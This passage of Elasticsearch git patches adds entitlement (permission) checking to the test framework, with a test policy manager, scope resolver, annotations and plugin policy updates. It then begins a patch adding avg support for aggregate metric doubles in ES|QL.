         final MockMergeThreadAppender mockAppender = new MockMergeThreadAppender("testMergeThreadLogging");
         mockAppender.start();
 
-        Logger rootLogger = LogManager.getRootLogger();
-        Level savedLevel = rootLogger.getLevel();
-        Loggers.addAppender(rootLogger, mockAppender);
-        Loggers.setLevel(rootLogger, Level.TRACE);
+        Logger theLogger = LogManager.getLogger("org.elasticsearch.index");
+        Level savedLevel = theLogger.getLevel();
+        Loggers.addAppender(theLogger, mockAppender);
+        Loggers.setLevel(theLogger, Level.TRACE);
         try {
             LogMergePolicy lmp = newLogMergePolicy();
             lmp.setMergeFactor(2);
@@ -2632,12 +2632,12 @@ public void testMergeThreadLogging() throws Exception {
                     assertThat(mockAppender.mergeCompleted(), is(true));
                 });
 
-                Loggers.setLevel(rootLogger, savedLevel);
+                Loggers.setLevel(theLogger, savedLevel);
                 engine.close();
             }
         } finally {
-            Loggers.setLevel(rootLogger, savedLevel);
-            Loggers.removeAppender(rootLogger, mockAppender);
+            Loggers.setLevel(theLogger, savedLevel);
+            Loggers.removeAppender(theLogger, mockAppender);
             mockAppender.stop();
         }
     }
diff --git a/test/framework/src/main/java/org/elasticsearch/bootstrap/BootstrapForTesting.java b/test/framework/src/main/java/org/elasticsearch/bootstrap/BootstrapForTesting.java
index 318f2ce863173..be709eaf5f43c 100644
--- a/test/framework/src/main/java/org/elasticsearch/bootstrap/BootstrapForTesting.java
+++ b/test/framework/src/main/java/org/elasticsearch/bootstrap/BootstrapForTesting.java
@@ -14,7 +14,9 @@
 import org.elasticsearch.common.network.IfConfig;
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.core.Booleans;
+import org.elasticsearch.core.Nullable;
 import org.elasticsearch.core.PathUtils;
+import org.elasticsearch.entitlement.bootstrap.TestEntitlementBootstrap;
 import org.elasticsearch.jdk.JarHell;
 
 import java.io.IOException;
@@ -71,6 +73,21 @@ public class BootstrapForTesting {
 
         // Log ifconfig output before SecurityManager is installed
         IfConfig.logIfNecessary();
+
+        // Fire up entitlements
+        try {
+            TestEntitlementBootstrap.bootstrap(javaTmpDir, maybePath(System.getProperty("tests.config")));
+        } catch (IOException e) {
+            throw new IllegalStateException(e.getClass().getSimpleName() + " while initializing entitlements for tests", e);
+        }
+    }
+
+    private static @Nullable Path maybePath(String str) {
+        if (str == null) {
+            return null;
+        } else {
+            return PathUtils.get(str);
+        }
     }
 
     // does nothing, just easy way to make sure the class is loaded.
diff --git a/test/framework/src/main/java/org/elasticsearch/bootstrap/TestScopeResolver.java b/test/framework/src/main/java/org/elasticsearch/bootstrap/TestScopeResolver.java
index c29bd84d1fda9..3a42485822f3c 100644
--- a/test/framework/src/main/java/org/elasticsearch/bootstrap/TestScopeResolver.java
+++ b/test/framework/src/main/java/org/elasticsearch/bootstrap/TestScopeResolver.java
@@ -16,11 +16,15 @@
 
 import java.net.MalformedURLException;
 import java.net.URL;
-import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
+import java.util.Set;
+import java.util.TreeMap;
 import java.util.function.Function;
 
+import static org.elasticsearch.entitlement.runtime.policy.PolicyManager.ALL_UNNAMED;
+import static org.elasticsearch.entitlement.runtime.policy.PolicyManager.ComponentKind.PLUGIN;
+
 public record TestScopeResolver(Map<String, PolicyManager.PolicyScope> scopeMap) {
 
     private static final Logger logger = LogManager.getLogger(TestScopeResolver.class);
@@ -31,6 +35,13 @@ PolicyManager.PolicyScope getScope(Class<?> callerClass) {
 
         var location = callerCodeSource.getLocation().toString();
         var scope = scopeMap.get(location);
+        if (scope == null) {
+            // Special cases for libraries not handled by our automatically-generated scopeMap
+            if (callerClass.getPackageName().startsWith("org.bouncycastle")) {
+                scope = new PolicyManager.PolicyScope(PLUGIN, "security", ALL_UNNAMED);
+                logger.debug("Assuming bouncycastle is part of the security plugin");
+            }
+        }
         if (scope == null) {
             logger.warn("Cannot identify a scope for class [{}], location [{}]", callerClass.getName(), location);
             return PolicyManager.PolicyScope.unknown(location);
@@ -40,20 +51,22 @@ PolicyManager.PolicyScope getScope(Class<?> callerClass) {
 
     public static Function<Class<?>, PolicyManager.PolicyScope> createScopeResolver(
         TestBuildInfo serverBuildInfo,
-        List<TestBuildInfo> pluginsBuildInfo
+        List<TestBuildInfo> pluginsBuildInfo,
+        Set<String> modularPlugins
     ) {
-
-        Map<String, PolicyManager.PolicyScope> scopeMap = new HashMap<>();
+        Map<String, PolicyManager.PolicyScope> scopeMap = new TreeMap<>(); // Sorted to make it easier to read during debugging
         for (var pluginBuildInfo : pluginsBuildInfo) {
+            boolean isModular = modularPlugins.contains(pluginBuildInfo.component());
             for (var location : pluginBuildInfo.locations()) {
                 var codeSource = TestScopeResolver.class.getClassLoader().getResource(location.representativeClass());
                 if (codeSource == null) {
                     throw new IllegalArgumentException("Cannot locate class [" + location.representativeClass() + "]");
                 }
                 try {
+                    String module = isModular ? location.module() : ALL_UNNAMED;
                     scopeMap.put(
                         getCodeSource(codeSource, location.representativeClass()),
-                        PolicyManager.PolicyScope.plugin(pluginBuildInfo.component(), location.module())
+                        PolicyManager.PolicyScope.plugin(pluginBuildInfo.component(), module)
                     );
                 } catch (MalformedURLException e) {
                     throw new IllegalArgumentException("Cannot locate class [" + location.representativeClass() + "]", e);
@@ -64,7 +77,8 @@ public static Function<Class<?>, PolicyManager.PolicyScope> createScopeResolver(
         for (var location : serverBuildInfo.locations()) {
             var classUrl = TestScopeResolver.class.getClassLoader().getResource(location.representativeClass());
             if (classUrl == null) {
-                throw new IllegalArgumentException("Cannot locate class [" + location.representativeClass() + "]");
+                logger.debug("Representative class is unavailable; proceeding without {}", location);
+                continue;
             }
             try {
                 scopeMap.put(getCodeSource(classUrl, location.representativeClass()), PolicyManager.PolicyScope.server(location.module()));
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
index f4573f5061cc9..c2d56a1acea74 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
@@ -12,13 +12,16 @@
 import org.elasticsearch.bootstrap.TestBuildInfo;
 import org.elasticsearch.bootstrap.TestBuildInfoParser;
 import org.elasticsearch.bootstrap.TestScopeResolver;
+import org.elasticsearch.core.Booleans;
+import org.elasticsearch.core.Nullable;
+import org.elasticsearch.core.PathUtils;
 import org.elasticsearch.core.Strings;
 import org.elasticsearch.core.SuppressForbidden;
 import org.elasticsearch.entitlement.initialization.EntitlementInitialization;
 import org.elasticsearch.entitlement.runtime.policy.PathLookup;
 import org.elasticsearch.entitlement.runtime.policy.Policy;
-import org.elasticsearch.entitlement.runtime.policy.PolicyManager;
 import org.elasticsearch.entitlement.runtime.policy.PolicyParser;
+import org.elasticsearch.entitlement.runtime.policy.TestPathLookup;
 import org.elasticsearch.entitlement.runtime.policy.TestPolicyManager;
 import org.elasticsearch.logging.LogManager;
 import org.elasticsearch.logging.Logger;
@@ -26,78 +29,127 @@
 
 import java.io.IOException;
 import java.io.InputStream;
+import java.net.URI;
 import java.net.URL;
 import java.nio.file.Path;
 import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
-import java.util.stream.Stream;
+import java.util.TreeSet;
+
+import static java.util.stream.Collectors.toCollection;
+import static java.util.stream.Collectors.toMap;
+import static java.util.stream.Collectors.toSet;
+import static org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir.CONFIG;
+import static org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir.TEMP;
 
 public class TestEntitlementBootstrap {
 
     private static final Logger logger = LogManager.getLogger(TestEntitlementBootstrap.class);
 
+    private static TestPolicyManager policyManager;
+
     /**
      * Activates entitlement checking in tests.
      */
-    public static void bootstrap() throws IOException {
-        TestPathLookup pathLookup = new TestPathLookup();
-        EntitlementInitialization.initializeArgs = new EntitlementInitialization.InitializeArgs(
-            pathLookup,
-            Set.of(),
-            createPolicyManager(pathLookup)
-        );
+    public static void bootstrap(@Nullable Path tempDir, @Nullable Path configDir) throws IOException {
+        if (isEnabledForTest() == false) {
+            return;
+        }
+        TestPathLookup pathLookup = new TestPathLookup(Map.of(TEMP, zeroOrOne(tempDir), CONFIG, zeroOrOne(configDir)));
+        policyManager = createPolicyManager(pathLookup);
+        EntitlementInitialization.initializeArgs = new EntitlementInitialization.InitializeArgs(pathLookup, Set.of(), policyManager);
         logger.debug("Loading entitlement agent");
         EntitlementBootstrap.loadAgent(EntitlementBootstrap.findAgentJar(), EntitlementInitialization.class.getName());
     }
 
-    private record TestPathLookup() implements PathLookup {
-        @Override
-        public Path pidFile() {
-            return null;
+    private static <T> List<T> zeroOrOne(T item) {
+        if (item == null) {
+            return List.of();
+        } else {
+            return List.of(item);
         }
+    }
 
-        @Override
-        public Stream<Path> getBaseDirPaths(BaseDir baseDir) {
-            return Stream.empty();
-        }
+    public static boolean isEnabledForTest() {
+        return Booleans.parseBoolean(System.getProperty("es.entitlement.enableForTests", "false"));
+    }
 
-        @Override
-        public Stream<Path> resolveSettingPaths(BaseDir baseDir, String settingName) {
-            return Stream.empty();
-        }
+    public static void setActive(boolean newValue) {
+        policyManager.setActive(newValue);
+    }
 
+    public static void setTriviallyAllowingTestCode(boolean newValue) {
+        policyManager.setTriviallyAllowingTestCode(newValue);
     }
 
-    private static PolicyManager createPolicyManager(PathLookup pathLookup) throws IOException {
+    public static void reset() {
+        if (policyManager != null) {
+            policyManager.reset();
+        }
+    }
 
+    private static TestPolicyManager createPolicyManager(PathLookup pathLookup) throws IOException {
         var pluginsTestBuildInfo = TestBuildInfoParser.parseAllPluginTestBuildInfo();
         var serverTestBuildInfo = TestBuildInfoParser.parseServerTestBuildInfo();
-        var scopeResolver = TestScopeResolver.createScopeResolver(serverTestBuildInfo, pluginsTestBuildInfo);
         List<String> pluginNames = pluginsTestBuildInfo.stream().map(TestBuildInfo::component).toList();
 
         var pluginDescriptors = parsePluginsDescriptors(pluginNames);
+        Set<String> modularPlugins = pluginDescriptors.stream()
+            .filter(PluginDescriptor::isModular)
+            .map(PluginDescriptor::getName)
+            .collect(toSet());
+        var scopeResolver = TestScopeResolver.createScopeResolver(serverTestBuildInfo, pluginsTestBuildInfo, modularPlugins);
         var pluginsData = pluginDescriptors.stream()
             .map(descriptor -> new TestPluginData(descriptor.getName(), descriptor.isModular(), false))
             .toList();
         Map<String, Policy> pluginPolicies = parsePluginsPolicies(pluginsData);
 
+        String separator = System.getProperty("path.separator");
+
+        // In productions, plugins would have access to their respective bundle directories,
+        // and so they'd be able to read from their jars. In testing, we approximate this
+        // by considering the entire classpath to be "source paths" of all plugins. This
+        // also has the effect of granting read access to everything on the test-only classpath,
+        // which is fine, because any entitlement errors there could only be false positives.
+        String classPathProperty = System.getProperty("java.class.path");
+
+        Set<Path> classPathEntries;
+        if (classPathProperty == null) {
+            classPathEntries = Set.of();
+        } else {
+            classPathEntries = Arrays.stream(classPathProperty.split(separator)).map(PathUtils::get).collect(toCollection(TreeSet::new));
+        }
+        Map<String, Collection<Path>> pluginSourcePaths = pluginNames.stream().collect(toMap(n -> n, n -> classPathEntries));
+
         FilesEntitlementsValidation.validate(pluginPolicies, pathLookup);
 
+        String testOnlyPathString = System.getenv("es.entitlement.testOnlyPath");
+        Set<URI> testOnlyClassPath;
+        if (testOnlyPathString == null) {
+            testOnlyClassPath = Set.of();
+        } else {
+            testOnlyClassPath = Arrays.stream(testOnlyPathString.split(separator))
+                .map(PathUtils::get)
+                .map(Path::toUri)
+                .collect(toCollection(TreeSet::new));
+        }
+
         return new TestPolicyManager(
             HardcodedEntitlements.serverPolicy(null, null),
             HardcodedEntitlements.agentEntitlements(),
             pluginPolicies,
             scopeResolver,
-            Map.of(),
-            pathLookup
+            pluginSourcePaths,
+            pathLookup,
+            testOnlyClassPath
         );
     }
 
-    private record TestPluginData(String pluginName, boolean isModular, boolean isExternalPlugin) {}
-
     private static Map<String, Policy> parsePluginsPolicies(List<TestPluginData> pluginsData) {
         Map<String, Policy> policies = new HashMap<>();
         for (var pluginData : pluginsData) {
@@ -137,4 +189,6 @@ private static InputStream getStream(URL resource) throws IOException {
         return resource.openStream();
     }
 
+    private record TestPluginData(String pluginName, boolean isModular, boolean isExternalPlugin) {}
+
 }
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPathLookup.java b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPathLookup.java
index 915f14c9d1ab8..be99d8187f95e 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPathLookup.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPathLookup.java
@@ -10,9 +10,18 @@
 package org.elasticsearch.entitlement.runtime.policy;
 
 import java.nio.file.Path;
+import java.util.Collection;
+import java.util.List;
+import java.util.Map;
 import java.util.stream.Stream;
 
 public class TestPathLookup implements PathLookup {
+    final Map<BaseDir, Collection<Path>> baseDirPaths;
+
+    public TestPathLookup(Map<BaseDir, Collection<Path>> baseDirPaths) {
+        this.baseDirPaths = baseDirPaths;
+    }
+
     @Override
     public Path pidFile() {
         return null;
@@ -20,7 +29,7 @@ public Path pidFile() {
 
     @Override
     public Stream<Path> getBaseDirPaths(BaseDir baseDir) {
-        return Stream.empty();
+        return baseDirPaths.getOrDefault(baseDir, List.of()).stream();
     }
 
     @Override
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
index 2acb31182c1f8..2acf549231950 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
@@ -10,30 +10,64 @@
 package org.elasticsearch.entitlement.runtime.policy;
 
 import org.elasticsearch.entitlement.runtime.policy.entitlements.Entitlement;
+import org.elasticsearch.test.ESTestCase;
 
+import java.net.URI;
+import java.net.URISyntaxException;
 import java.nio.file.Path;
+import java.security.CodeSource;
+import java.security.ProtectionDomain;
 import java.util.Collection;
 import java.util.List;
 import java.util.Map;
+import java.util.concurrent.ConcurrentHashMap;
 import java.util.function.Function;
 
+import static java.util.Objects.requireNonNull;
+
 public class TestPolicyManager extends PolicyManager {
+
+    boolean isActive;
+    boolean isTriviallyAllowingTestCode;
+
+    /**
+     * We don't have modules in tests, so we can't use the inherited map of entitlements per module.
+     * We need this larger map per class instead.
+     */
+    final Map<Class<?>, ModuleEntitlements> classEntitlementsMap = new ConcurrentHashMap<>();
+
+    final Collection<URI> testOnlyClasspath;
+
     public TestPolicyManager(
         Policy serverPolicy,
         List<Entitlement> apmAgentEntitlements,
         Map<String, Policy> pluginPolicies,
         Function<Class<?>, PolicyScope> scopeResolver,
         Map<String, Collection<Path>> pluginSourcePaths,
-        PathLookup pathLookup
+        PathLookup pathLookup,
+        Collection<URI> testOnlyClasspath
     ) {
         super(serverPolicy, apmAgentEntitlements, pluginPolicies, scopeResolver, pluginSourcePaths, pathLookup);
+        this.testOnlyClasspath = testOnlyClasspath;
+        reset();
+    }
+
+    public void setActive(boolean newValue) {
+        this.isActive = newValue;
+    }
+
+    public void setTriviallyAllowingTestCode(boolean newValue) {
+        this.isTriviallyAllowingTestCode = newValue;
     }
 
     /**
      * Called between tests so each test is not affected by prior tests
      */
-    public void reset() {
-        super.moduleEntitlementsMap.clear();
+    public final void reset() {
+        assert moduleEntitlementsMap.isEmpty() : "We're not supposed to be using moduleEntitlementsMap in tests";
+        classEntitlementsMap.clear();
+        isActive = false;
+        isTriviallyAllowingTestCode = true;
     }
 
     @Override
@@ -44,7 +78,31 @@ protected boolean isTrustedSystemClass(Class<?> requestingClass) {
 
     @Override
     boolean isTriviallyAllowed(Class<?> requestingClass) {
-        return isTestFrameworkClass(requestingClass) || isEntitlementClass(requestingClass) || super.isTriviallyAllowed(requestingClass);
+        if (isActive == false) {
+            return true;
+        }
+        if (isEntitlementClass(requestingClass)) {
+            return true;
+        }
+        if (isTestFrameworkClass(requestingClass)) {
+            return true;
+        }
+        if ("org.elasticsearch.jdk".equals(requestingClass.getPackageName())) {
+            // PluginsLoaderTests, PluginsServiceTests, PluginsUtilsTests
+            return true;
+        }
+        if ("org.elasticsearch.nativeaccess".equals(requestingClass.getPackageName())) {
+            // UberModuleClassLoaderTests
+            return true;
+        }
+        if (requestingClass.getPackageName().startsWith("org.elasticsearch.plugins")) {
+            // PluginsServiceTests, NamedComponentReaderTests
+            return true;
+        }
+        if (isTriviallyAllowingTestCode && isTestCode(requestingClass)) {
+            return true;
+        }
+        return super.isTriviallyAllowed(requestingClass);
     }
 
     private boolean isEntitlementClass(Class<?> requestingClass) {
@@ -52,8 +110,59 @@ private boolean isEntitlementClass(Class<?> requestingClass) {
             && (requestingClass.getName().contains("Test") == false);
     }
 
+    @Deprecated // TODO: reevaluate whether we want this.
+    // If we can simply check for dependencies the gradle worker has that aren't
+    // declared in the gradle config (namely org.gradle) that would be simpler.
     private boolean isTestFrameworkClass(Class<?> requestingClass) {
         String packageName = requestingClass.getPackageName();
-        return packageName.startsWith("org.junit") || packageName.startsWith("org.gradle");
+        for (String prefix : TEST_FRAMEWORK_PACKAGE_PREFIXES) {
+            if (packageName.startsWith(prefix)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private boolean isTestCode(Class<?> requestingClass) {
+        // TODO: Cache this? It's expensive
+        for (Class<?> candidate = requireNonNull(requestingClass); candidate != null; candidate = candidate.getDeclaringClass()) {
+            if (ESTestCase.class.isAssignableFrom(candidate)) {
+                return true;
+            }
+        }
+        ProtectionDomain protectionDomain = requestingClass.getProtectionDomain();
+        CodeSource codeSource = protectionDomain.getCodeSource();
+        if (codeSource == null) {
+            // This can happen for JDK classes
+            return false;
+        }
+        URI needle;
+        try {
+            needle = codeSource.getLocation().toURI();
+        } catch (URISyntaxException e) {
+            throw new IllegalStateException(e);
+        }
+        boolean result = testOnlyClasspath.contains(needle);
+        return result;
+    }
+
+    private static final String[] TEST_FRAMEWORK_PACKAGE_PREFIXES = {
+        "org.gradle",
+
+        "org.jcodings", // A library loaded with SPI that tries to create a CharsetProvider
+        "com.google.common.jimfs", // Used on Windows
+
+        // We shouldn't really need the rest of these. They should be discovered on the testOnlyClasspath.
+        "com.carrotsearch.randomizedtesting",
+        "com.sun.tools.javac",
+        "org.apache.lucene.tests", // Interferes with SSLErrorMessageFileTests.testMessageForPemCertificateOutsideConfigDir
+        "org.junit",
+        "org.mockito",
+        "net.bytebuddy", // Mockito uses this
+    };
+
+    @Override
+    protected ModuleEntitlements getEntitlements(Class<?> requestingClass) {
+        return classEntitlementsMap.computeIfAbsent(requestingClass, this::computeEntitlements);
     }
 }
diff --git a/test/framework/src/main/java/org/elasticsearch/test/ESIntegTestCase.java b/test/framework/src/main/java/org/elasticsearch/test/ESIntegTestCase.java
index afbabe110aa4e..884c1caf85488 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/ESIntegTestCase.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/ESIntegTestCase.java
@@ -285,6 +285,7 @@
  * </ul>
  */
 @LuceneTestCase.SuppressFileSystems("ExtrasFS") // doesn't work with potential multi data path from test cluster yet
+@ESTestCase.WithoutEntitlements // ES-12042
 public abstract class ESIntegTestCase extends ESTestCase {
 
     /** node names of the corresponding clusters will start with these prefixes */
diff --git a/test/framework/src/main/java/org/elasticsearch/test/ESSingleNodeTestCase.java b/test/framework/src/main/java/org/elasticsearch/test/ESSingleNodeTestCase.java
index 7ebc5765bda63..f7d272e793e0f 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/ESSingleNodeTestCase.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/ESSingleNodeTestCase.java
@@ -90,6 +90,7 @@
  * A test that keep a singleton node started for all tests that can be used to get
  * references to Guice injectors in unit tests.
  */
+@ESTestCase.WithoutEntitlements // ES-12042
 public abstract class ESSingleNodeTestCase extends ESTestCase {
 
     private static Node NODE = null;
diff --git a/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java b/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
index 7183a43c6f731..ffc0e00909c81 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
@@ -111,6 +111,7 @@
 import org.elasticsearch.core.SuppressForbidden;
 import org.elasticsearch.core.TimeValue;
 import org.elasticsearch.core.Tuple;
+import org.elasticsearch.entitlement.bootstrap.TestEntitlementBootstrap;
 import org.elasticsearch.env.Environment;
 import org.elasticsearch.env.NodeEnvironment;
 import org.elasticsearch.env.TestEnvironment;
@@ -164,6 +165,11 @@
 
 import java.io.IOException;
 import java.io.InputStream;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Inherited;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
 import java.lang.invoke.MethodHandles;
 import java.math.BigInteger;
 import java.net.InetAddress;
@@ -492,6 +498,44 @@ protected void afterIfFailed(List<Throwable> errors) {}
     /** called after a test is finished, but only if successful */
     protected void afterIfSuccessful() throws Exception {}
 
+    /**
+     * Marks a test suite or a test method that should run without checking for entitlements.
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target(ElementType.TYPE)
+    @Inherited
+    public @interface WithoutEntitlements {
+    }
+
+    /**
+     * Marks a test suite or a test method that enforce entitlements on the test code itself.
+     * Useful for testing the enforcement of entitlements; for any other test cases, this probably isn't what you want.
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target(ElementType.TYPE)
+    @Inherited
+    public @interface WithEntitlementsOnTestCode {
+    }
+
+    @BeforeClass
+    public static void setupEntitlementsForClass() {
+        boolean withoutEntitlements = getTestClass().isAnnotationPresent(WithoutEntitlements.class);
+        boolean withEntitlementsOnTestCode = getTestClass().isAnnotationPresent(WithEntitlementsOnTestCode.class);
+        if (TestEntitlementBootstrap.isEnabledForTest()) {
+            TestEntitlementBootstrap.setActive(false == withoutEntitlements);
+            TestEntitlementBootstrap.setTriviallyAllowingTestCode(false == withEntitlementsOnTestCode);
+        } else if (withEntitlementsOnTestCode) {
+            throw new AssertionError(
+                "Cannot use WithEntitlementsOnTestCode on tests that are not configured to use entitlements for testing"
+            );
+        }
+    }
+
+    @AfterClass
+    public static void resetEntitlements() {
+        TestEntitlementBootstrap.reset();
+    }
+
     // setup mock filesystems for this test run. we change PathUtils
     // so that all accesses are plumbed thru any mock wrappers
 
diff --git a/test/framework/src/test/java/org/elasticsearch/bootstrap/TestScopeResolverTests.java b/test/framework/src/test/java/org/elasticsearch/bootstrap/TestScopeResolverTests.java
index 24d8f26342797..e489d8dc7a17c 100644
--- a/test/framework/src/test/java/org/elasticsearch/bootstrap/TestScopeResolverTests.java
+++ b/test/framework/src/test/java/org/elasticsearch/bootstrap/TestScopeResolverTests.java
@@ -13,6 +13,7 @@
 import org.elasticsearch.test.ESTestCase;
 
 import java.util.List;
+import java.util.Set;
 
 import static org.hamcrest.Matchers.is;
 
@@ -23,7 +24,7 @@ public void testScopeResolverServerClass() {
             "server",
             List.of(new TestBuildInfoLocation("org/elasticsearch/Build.class", "org.elasticsearch.server"))
         );
-        var resolver = TestScopeResolver.createScopeResolver(testBuildInfo, List.of());
+        var resolver = TestScopeResolver.createScopeResolver(testBuildInfo, List.of(), Set.of());
 
         var scope = resolver.apply(Plugin.class);
         assertThat(scope.componentName(), is("(server)"));
@@ -39,7 +40,7 @@ public void testScopeResolverInternalClass() {
             "test-component",
             List.of(new TestBuildInfoLocation("org/elasticsearch/bootstrap/TestBuildInfoParserTests.class", "test-module-name"))
         );
-        var resolver = TestScopeResolver.createScopeResolver(testBuildInfo, List.of(testOwnBuildInfo));
+        var resolver = TestScopeResolver.createScopeResolver(testBuildInfo, List.of(testOwnBuildInfo), Set.of("test-component"));
 
         var scope = resolver.apply(this.getClass());
         assertThat(scope.componentName(), is("test-component"));
diff --git a/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java b/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
index 1efe76f82c8b5..bf59174410948 100644
--- a/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
+++ b/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
@@ -31,22 +31,24 @@ public void setupPolicyManager() {
             Map.of(),
             c -> new PolicyScope(PLUGIN, "example-plugin" + scopeCounter.incrementAndGet(), "org.example.module"),
             Map.of(),
-            new TestPathLookup()
+            new TestPathLookup(Map.of()),
+            List.of()
         );
+        policyManager.setActive(true);
     }
 
     public void testReset() {
-        assertTrue(policyManager.moduleEntitlementsMap.isEmpty());
+        assertTrue(policyManager.classEntitlementsMap.isEmpty());
         assertEquals("example-plugin1", policyManager.getEntitlements(getClass()).componentName());
         assertEquals("example-plugin1", policyManager.getEntitlements(getClass()).componentName());
-        assertFalse(policyManager.moduleEntitlementsMap.isEmpty());
+        assertFalse(policyManager.classEntitlementsMap.isEmpty());
 
         policyManager.reset();
 
-        assertTrue(policyManager.moduleEntitlementsMap.isEmpty());
+        assertTrue(policyManager.classEntitlementsMap.isEmpty());
         assertEquals("example-plugin2", policyManager.getEntitlements(getClass()).componentName());
         assertEquals("example-plugin2", policyManager.getEntitlements(getClass()).componentName());
-        assertFalse(policyManager.moduleEntitlementsMap.isEmpty());
+        assertFalse(policyManager.classEntitlementsMap.isEmpty());
     }
 
     public void testIsTriviallyAllowed() {
@@ -54,6 +56,8 @@ public void testIsTriviallyAllowed() {
         assertTrue(policyManager.isTriviallyAllowed(org.junit.Before.class));
         assertTrue(policyManager.isTriviallyAllowed(PolicyManager.class));
 
+        assertTrue(policyManager.isTriviallyAllowed(getClass()));
+        policyManager.setTriviallyAllowingTestCode(false);
         assertFalse(policyManager.isTriviallyAllowed(getClass()));
     }
 }
diff --git a/x-pack/plugin/core/src/main/plugin-metadata/entitlement-policy.yaml b/x-pack/plugin/core/src/main/plugin-metadata/entitlement-policy.yaml
index 5b089eba8b5b1..60d08fef7cef0 100644
--- a/x-pack/plugin/core/src/main/plugin-metadata/entitlement-policy.yaml
+++ b/x-pack/plugin/core/src/main/plugin-metadata/entitlement-policy.yaml
@@ -18,6 +18,7 @@ org.apache.httpcomponents.httpasyncclient:
   - manage_threads
 unboundid.ldapsdk:
   - set_https_connection_properties # TODO: review if we need this once we have proper test coverage
+  - inbound_network # For com.unboundid.ldap.listener.LDAPListener
   - outbound_network
   - manage_threads
   - write_system_properties:
diff --git a/x-pack/plugin/monitoring/src/main/plugin-metadata/entitlement-policy.yaml b/x-pack/plugin/monitoring/src/main/plugin-metadata/entitlement-policy.yaml
index 27ff2988cdcbe..ba7219af73c42 100644
--- a/x-pack/plugin/monitoring/src/main/plugin-metadata/entitlement-policy.yaml
+++ b/x-pack/plugin/monitoring/src/main/plugin-metadata/entitlement-policy.yaml
@@ -1,5 +1,6 @@
 ALL-UNNAMED:
   - set_https_connection_properties # potentially required by apache.httpcomponents
+  - manage_threads # For org.elasticsearch.client.snif.Sniffer
   # the original policy has java.net.SocketPermission "*", "accept,connect"
   # but a comment stating it was "needed for multiple server implementations used in tests"
   # TODO: this is likely not needed, but including here to be on the safe side until

From b00b1bc42b4e99a8704607414d3c34a3cf109c61 Mon Sep 17 00:00:00 2001
From: Larisa Motova <larisa.motova@elastic.co>
Date: Wed, 2 Jul 2025 12:49:53 -1000
Subject: [PATCH 050/299] [ES|QL] Support avg on aggregate metric double
 (#130421) (#130500)

Other major aggregations (min, max, sum, count) are available but avg was not.
This commit adds it in.
---
 docs/changelog/130421.yaml                    |  5 ++++
 .../xpack/esql/action/EsqlCapabilities.java   |  7 +++++-
 .../expression/function/aggregate/Avg.java    | 18 ++++++++------
 .../xpack/esql/analysis/AnalyzerTests.java    |  4 ++--
 .../xpack/esql/analysis/VerifierTests.java    |  2 +-
 .../function/aggregate/AvgErrorTests.java     |  9 ++++++-
 .../rest-api-spec/test/esql/40_tsdb.yml       | 24 +++++++++++++++++++
 7 files changed, 57 insertions(+), 12 deletions(-)
 create mode 100644 docs/changelog/130421.yaml

diff --git a/docs/changelog/130421.yaml b/docs/changelog/130421.yaml
new file mode 100644
index 0000000000000..ffabb405f6633
--- /dev/null
+++ b/docs/changelog/130421.yaml
@@ -0,0 +1,5 @@
+pr: 130421
+summary: Support avg on aggregate metric double
+area: ES|QL
+type: bug
+issues: []
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
index 9a8b71e8e5eea..f80df51ba21d1 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
@@ -1215,7 +1215,12 @@ public enum Cap {
         /**
          * (Re)Added EXPLAIN command
          */
-        EXPLAIN(Build.current().isSnapshot());
+        EXPLAIN(Build.current().isSnapshot()),
+
+        /**
+         * Support avg with aggregate metric doubles
+         */
+        AGGREGATE_METRIC_DOUBLE_AVG(AGGREGATE_METRIC_DOUBLE_FEATURE_FLAG);
 
         private final boolean enabled;
 
